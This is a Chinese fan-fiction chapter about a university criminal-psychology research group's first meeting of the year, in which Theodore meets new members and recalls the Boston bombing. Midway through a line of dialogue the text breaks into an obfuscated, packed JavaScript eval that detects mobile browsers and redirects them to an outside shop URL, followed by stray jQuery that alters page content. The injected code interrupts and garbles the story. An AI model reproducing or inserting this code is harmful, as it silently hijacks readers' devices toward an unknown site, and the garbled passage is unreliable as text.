秋天的风从窗户缝里挤进来，带着一股落叶和湿泥土的味道。会议室里午后的阳光斜斜地打在长桌一角，把桌上摊开的论文稿纸照得发黄。
今天是小组今年的第一次正式组会。
玛莎教授的犯罪心理学研究课开在大三，所以她的研究小组每学年初都会迎来一批新面孔。除了狄奥多这个特例，大多数时候都是大三、大二的进来，大四的出去，周而复始。
今年成员走得尤其多——上一届的大四生几乎全毕业了，只剩下已经获得研究生资格的简内特还每周准时出现，加上剩下的大四生，一共才五个人。今天新加入的是三个大三生，和狄奥多同届。
狄奥多到得比平时早。他推开门，却发现里面已经有几个人先到了。
劳拉坐在长桌一端，面前摊着笔记本，正在跟旁边的克里斯小声聊天，不知道为什么还时不时挥两下拳。而克里斯一边在翻找便携式电源给手机充电，一边时不时点头。剩下简内特靠在窗边，手里端着一杯茶，神情淡然——狄奥多可以肯定她又是昨晚看了什么侦探小说，正学着主角凹造型。
老朋友居然都在。狄奥多有点惊讶，把书包放在自己常坐的那个位置，从里面抽出笔记本和笔，摆在桌上。他没有坐，而是走到窗边，把窗户开大了一点。风灌进来，吹散了房间里积了一上午的闷热。
“谢谢。”简内特没抬头，但说了一句。
狄奥多应了一声，回到座位上坐下。
陆陆续续地，人来了。
劳拉回头看到狄奥多，笑着调侃：“真贴心啊？”
克里斯也抬起头来，看到狄奥多，笑着打了个招呼。
“举手之劳。”狄奥多摊手，然后回了克里斯一个搞怪的wink。
“要不你坐到我旁边吧。”劳拉看了看，指了指她旁边的另一个位置，“简妮都挪窝了，走了好几个人呢，可以往前坐坐。”
看到狄奥多看过来，简内特对着自己的座位比了个大拇指。
狄奥多想了想，觉得没什么不好，就朝劳拉点点头。
正说着，两个去年加入的大四生也进来了。一个背着一个时下潮流的品牌书包，进门先跟所有人打了一圈招呼，当然也包括狄奥多：“哟，克罗夫特。”
另一个沉默一些，跟在前者的旁边点了一圈头，然后紧挨着同伴坐下了。
真不知道他们怎么凑到一起去的。狄奥多看了一年这样的景象，还是觉得纳闷。
“我觉得还是你和基利安更胜一筹。”
“啊？”
狄奥多被不知何时凑到身边的简内特吓了一跳。还有，什么更胜一筹？
简内特看了他迷茫的脸一眼，却没有解释。她不知为何一脸严肃地摇摇头，站回自己的窗前去了。
狄奥多正困惑着，几个新面孔就走了进来。
三个新人鱼贯而入，脸上的表情是那种所有刚加入课题组的人都有的、试图藏住紧张的好奇。打头的是个戴圆框眼镜的男生，手里抱着笔记本，一进门就朝所有人笑，可惜那份紧张让他的笑容变得格外僵硬；后面跟着一个扎马尾的女生，目光在长桌两侧扫了一圈，大概在判断该坐哪里；最后进来的那个人狄奥多倒还算熟悉——是艾伦·格林菲尔德。
狄奥多常在教室后排看到他，一头棕色卷发，笑起来很标准。在走廊里遇见他，格林菲尔德会主动和同级生打招呼，是个格外热情的人。得益于此，他几乎成了狄奥多最熟悉的同届同学，毕竟狄奥多跟大多数人也就是点头之交。
狄奥多在心里小小地惊讶了一下，朝他露出一个礼节性的微笑。格林菲尔德也回赠一个微笑，那笑容像一扇只开了条缝的窗户，带着点“没想到吧”的调皮。
“你们来啦，随便坐。坐在桌子两侧就行，方便教授看清楚大家的脸。”狄奥多站起来，指了指面前的长桌，语气自然得像在招待朋友。“组里氛围很自由的。大家想坐哪就坐哪——除了靠窗那个位置，那是简内特的。”
简内特在窗边举了举茶杯，表示认同。
打头的男生道了声谢，朝他点了点头，坐到了他斜对面。扎马尾的女生也放松了些犹豫了一下，选了狄奥多旁边另一个靠窗的位置。格林菲尔德拉开椅子坐下，侧头看了狄奥多一眼：
“原来你也在这个小组？去年我在走廊碰见你好几次，还以为你忙着跑图书馆呢。”
“你倒比我们早来，”格林菲尔德语调随意，嘴角挂着点笑意，“像个前辈似的。”
格林菲尔德说这话的时候语气很随意，像在聊家常。狄奥多顿了顿，笑着回了句“之前确实跑得多”。正要接着往下说，格林菲尔德已经把脸转向了旁边另外两个新来的大三生。
“我们三个上个学期一起做过普林提斯教授的小组作业，”他往旁边偏了偏头，语气自然地切入了介绍模式，“劳伦斯和佩妮——这位就是我跟你们提过的狄奥多·克罗夫特。去年犯罪学概论课上，教授每次讲案例都会点他起来分析，我们坐在后排的都觉得自己在听助教讲课。”
那个叫劳伦斯的男生看了狄奥多一眼，点了点头，表情介于“久仰”和“这个评价是不是太高了”之间。
狄奥多笑了一下，说了句“这夸奖我可受不起”。话题还在继续转，格林菲尔德已经从狄奥多身上移开，跟劳拉扯起了上学期某门课的教授有多难缠，劳拉连连赞同。他说话的方式让人挑不出毛病——礼貌，合群，甚至称得上健谈。
简内特眯了眯眼。
---
汇报结束后是自由讨论环节。新同学和老成员混坐在一起，聊课题方向、资料获取渠道、以及下周谁先谁后的安排。狄奥多帮着协调了几个时间冲突，又把瑞德之前教他的几个上网查资料的小技巧分享给了新同学——据说是从现在的同事那里学到的实用小技巧。
“可以去查州档案馆的数字化资料，有些东西不在常规数据库里，但这几年推行电子化，反而可能在电子数据库里找到。”狄奥多竖起一根手指，这个小诀窍他以前也不知道。
佩妮在本子上记了一下，突然抬头问他：“你比我们早进组好多？你是什么什么加入的啊？”
“大一。”狄奥多说，“当时玛莎教授破例的。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594185|202170||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哇。”佩妮感叹了一声，旁边的劳伦斯也看了过来。
狄奥多笑了笑，没再多说。他无意向其他人提起红。
坐在斜对面的格林菲尔德，不知为何突然保持着沉默，没有参与讨论。他只是坐在那里，双手交叉放在桌上，安静地听着别人说话。偶尔有人跟他搭话，他会回答，简短、有礼貌，涉及到刚刚会上的讨论时也说的头头是道，看起来一切正常。
散会的时候，劳拉走到狄奥多旁边，一边收拾东西一边说：“这个格林菲尔德还真有点东西，不是吗？”
“格林菲尔德？”狄奥多想起那人一头棕色的卷发。说真的，他觉得那头发一点都不契合这位格林菲尔德的气质。
“对啊，艾伦·格林菲尔德。”劳拉把她的索尼耳机塞进包里，“他刚才讨论的时候说的那个什么‘把与罪犯他人认同和群体效应联系起来’，你听到了吗？”
狄奥多想了想。他刚才一直在和其他人讨论，确实没注意听格林菲尔德的发言。
“他具体说了什么？”
“就是——你没认真听吗？”劳拉有些惊讶，“你很少在会上走神啊……这个新人边说还边看了你好几眼呢。”
“大概意思是，罪犯之间的认同不是简单的模仿，而是一种群体内部的身份构建。”劳拉接着回忆起来，“他把‘与罪犯他人认同’的概念和群体心理学里的内群体偏私——就是把‘我们一伙的’看得更重那种心理倾向——联系起来了，我觉得挺有新意的。不过他没有展开说，可能是第一次来不好意思。”
啊，狄奥多想起来了——
“传统观点认为，连环犯罪者的行为动机主要源于个体心理病理，”或许是因为紧张，格林菲尔德的语气有点干，像在念课文，“但事实上，犯罪者之间的‘认同’机制，往往比我们想象的更复杂。他们通过媒体、网络甚至地下出版物构建起一套共享的话语体系，在这种体系中，犯罪行为被符号化、被合法化，甚至被浪漫化。”
他顿了顿，目光从在场每个人脸上扫过。
“这种认同不是简单的模仿或从众，而是一种更深层的、认知层面的同化。犯罪者将自己视为某个‘特殊群体’的一员，并从这个身份中汲取行为的合法性和正当性。群体效应放大了个体的犯罪倾向，而个体的犯罪行为又反过来强化了群体的凝聚力。”
——狄奥多听得不是很认真。格林菲尔德的答案对他来说可远不够好，他实在没法认可出口。
因为这个话题让狄奥多想起半年前的一个下午。
他坐在沙发上，手里翻着一沓报纸，翻来覆去地把同一篇报道看了好几遍。FBI的官方通报出来后，波士顿爆炸案的新闻简直称得上铺天盖地。六名警员牺牲，伤者的名单比报纸的版面还长，所有人都有说不完的话要写上去。狄奥多把报纸摊在膝盖上，一个字一个字地看，看到第十遍的时候，还是觉得胸口堵得慌。可他现在什么都不能做，什么都做不到。
赤井秀一坐在另一边的扶手沙发里，手里拿着一本书，已经看了很久。他翻页的动作很轻，安静地与房间里的另一个人共存着。